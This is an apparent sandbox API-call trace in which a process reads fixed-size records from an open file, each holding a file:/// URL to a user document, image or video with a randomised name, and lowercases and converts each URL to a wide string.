[0079.359] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.359] SetFilePointer (in: hFile=0x9c, lDistanceToMove=35584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8b00
[0079.359] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.360] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/4%20u_4u6LS4.ods" | out: _Str="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods") returned="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods"
[0079.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods") returned 53
[0079.360] SetFilePointer (in: hFile=0x9c, lDistanceToMove=35840, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c00
[0079.360] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.360] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.360] SetFilePointer (in: hFile=0x9c, lDistanceToMove=35840, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c00
[0079.360] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.360] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/nCs6ha0JwetBUZ.jpg" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg"
[0079.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg") returned 87
[0079.360] SetFilePointer (in: hFile=0x9c, lDistanceToMove=36096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8d00
[0079.360] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.360] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.360] SetFilePointer (in: hFile=0x9c, lDistanceToMove=36096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8d00
[0079.360] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.360] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/j_52VZ9UluJPr%205AIz.jpg" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg") returned="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg"
[0079.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg") returned 69
[0079.361] SetFilePointer (in: hFile=0x9c, lDistanceToMove=36352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8e00
[0079.361] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.361] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.361] SetFilePointer (in: hFile=0x9c, lDistanceToMove=36352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8e00
[0079.361] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.361] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/jOsIaZ/SFxQ3ziiYMv14cJiYAoX.flv" | out: _Str="file:///c:/users/atveydl98z/videos/josiaz/sfxq3ziiymv14cjiyaox.flv") returned="file:///c:/users/atveydl98z/videos/josiaz/sfxq3ziiymv14cjiyaox.flv"
[0079.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/josiaz/sfxq3ziiymv14cjiyaox.flv") returned 67
[0079.361] SetFilePointer (in: hFile=0x9c, lDistanceToMove=36608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8f00
[0079.361] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.361] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.361] SetFilePointer (in: hFile=0x9c, lDistanceToMove=36608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8f00
[0079.361] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.361] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/uezRN08sfabq3K36BWj.png" | out: _Str="file:///c:/users/atveydl98z/desktop/uezrn08sfabq3k36bwj.png") returned="file:///c:/users/atveydl98z/desktop/uezrn08sfabq3k36bwj.png"
[0079.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/uezrn08sfabq3k36bwj.png") returned 60
[0079.361] SetFilePointer (in: hFile=0x9c, lDistanceToMove=36864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9000
[0079.362] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.362] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.362] SetFilePointer (in: hFile=0x9c, lDistanceToMove=36864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9000
[0079.362] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.362] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/t1KkMdU3toFB.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/t1kkmdu3tofb.bmp") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/t1kkmdu3tofb.bmp"
[0079.362] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/t1kkmdu3tofb.bmp") returned 69
[0079.362] SetFilePointer (in: hFile=0x9c, lDistanceToMove=37120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9100
[0079.362] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.362] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.362] SetFilePointer (in: hFile=0x9c, lDistanceToMove=37120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9100
[0079.362] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.363] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/p_8Z9O.odp" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/p_8z9o.odp") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/p_8z9o.odp"
[0079.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/p_8z9o.odp") returned 59
[0079.363] SetFilePointer (in: hFile=0x9c, lDistanceToMove=37376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9200
[0079.363] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.363] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.363] SetFilePointer (in: hFile=0x9c, lDistanceToMove=37376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9200
[0079.363] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.363] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/dB%20t5t-sbXSuJRv0C.flv" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/db%20t5t-sbxsujrv0c.flv") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/db%20t5t-sbxsujrv0c.flv"
[0079.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/db%20t5t-sbxsujrv0c.flv") returned 72
[0079.363] SetFilePointer (in: hFile=0x9c, lDistanceToMove=37632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9300
[0079.363] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.363] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.363] SetFilePointer (in: hFile=0x9c, lDistanceToMove=37632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9300
[0079.363] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.363] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/PKtpGTo-.odp" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/pktpgto-.odp") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/pktpgto-.odp"
[0079.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/pktpgto-.odp") returned 61
[0079.364] SetFilePointer (in: hFile=0x9c, lDistanceToMove=37888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9400
[0079.364] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.426] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.426] SetFilePointer (in: hFile=0x9c, lDistanceToMove=37888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9400
[0079.426] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.426] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/K5KCsxnzZ586a.mkv" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/k5kcsxnzz586a.mkv") returned="file:///c:/users/atveydl98z/appdata/roaming/k5kcsxnzz586a.mkv"
[0079.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/k5kcsxnzz586a.mkv") returned 62
[0079.426] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9500
[0079.426] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.426] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.426] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9500
[0079.426] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.426] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/RtsHl9P-.flv" | out: _Str="file:///c:/users/atveydl98z/videos/rtshl9p-.flv") returned="file:///c:/users/atveydl98z/videos/rtshl9p-.flv"
[0079.426] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/rtshl9p-.flv") returned 48
[0079.427] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9600
[0079.427] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.427] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.427] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9600
[0079.427] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.427] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/pG%20VT.swf" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/pg%20vt.swf") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/pg%20vt.swf"
[0079.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/pg%20vt.swf") returned 60
[0079.428] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9700
[0079.428] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.428] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.428] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9700
[0079.428] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.429] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/4QaGgwK3%20alL.doc" | out: _Str="file:///c:/users/atveydl98z/documents/4qaggwk3%20all.doc") returned="file:///c:/users/atveydl98z/documents/4qaggwk3%20all.doc"
[0079.429] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/4qaggwk3%20all.doc") returned 57
[0079.429] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9800
[0079.429] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.429] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.429] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9800
[0079.429] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.429] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/YwYOXuXAwFNzGqI3r.pptx" | out: _Str="file:///c:/users/atveydl98z/documents/ywyoxuxawfnzgqi3r.pptx") returned="file:///c:/users/atveydl98z/documents/ywyoxuxawfnzgqi3r.pptx"
[0079.429] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/ywyoxuxawfnzgqi3r.pptx") returned 61
[0079.429] SetFilePointer (in: hFile=0x9c, lDistanceToMove=39168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9900
[0079.429] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.430] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.430] SetFilePointer (in: hFile=0x9c, lDistanceToMove=39168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9900
[0079.430] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.430] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/lIMz5V.csv" | out: _Str="file:///c:/users/atveydl98z/documents/limz5v.csv") returned="file:///c:/users/atveydl98z/documents/limz5v.csv"
[0079.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/limz5v.csv") returned 49
[0079.430] SetFilePointer (in: hFile=0x9c, lDistanceToMove=39424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9a00
[0079.430] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.430] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.430] SetFilePointer (in: hFile=0x9c, lDistanceToMove=39424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9a00
[0079.431] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.431] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/O_M4tlNNQH_j6l.flv" | out: _Str="file:///c:/users/atveydl98z/desktop/o_m4tlnnqh_j6l.flv") returned="file:///c:/users/atveydl98z/desktop/o_m4tlnnqh_j6l.flv"
[0079.431] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/o_m4tlnnqh_j6l.flv") returned 55
[0079.431] SetFilePointer (in: hFile=0x9c, lDistanceToMove=39680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9b00
[0079.431] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.431] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.432] SetFilePointer (in: hFile=0x9c, lDistanceToMove=39680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9b00
[0079.432] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.432] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/hqGdu8.xlsx" | out: _Str="file:///c:/users/atveydl98z/documents/hqgdu8.xlsx") returned="file:///c:/users/atveydl98z/documents/hqgdu8.xlsx"
[0079.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/hqgdu8.xlsx") returned 50
[0079.432] SetFilePointer (in: hFile=0x9c, lDistanceToMove=39936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9c00
[0079.432] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.432] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.432] SetFilePointer (in: hFile=0x9c, lDistanceToMove=39936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9c00
[0079.432] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.432] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Vfr7MWb/H8t9GaqGi.csv" | out: _Str="file:///c:/users/atveydl98z/desktop/vfr7mwb/h8t9gaqgi.csv") returned="file:///c:/users/atveydl98z/desktop/vfr7mwb/h8t9gaqgi.csv"
[0079.432] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/vfr7mwb/h8t9gaqgi.csv") returned 58
[0079.432] SetFilePointer (in: hFile=0x9c, lDistanceToMove=40192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9d00
[0079.432] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
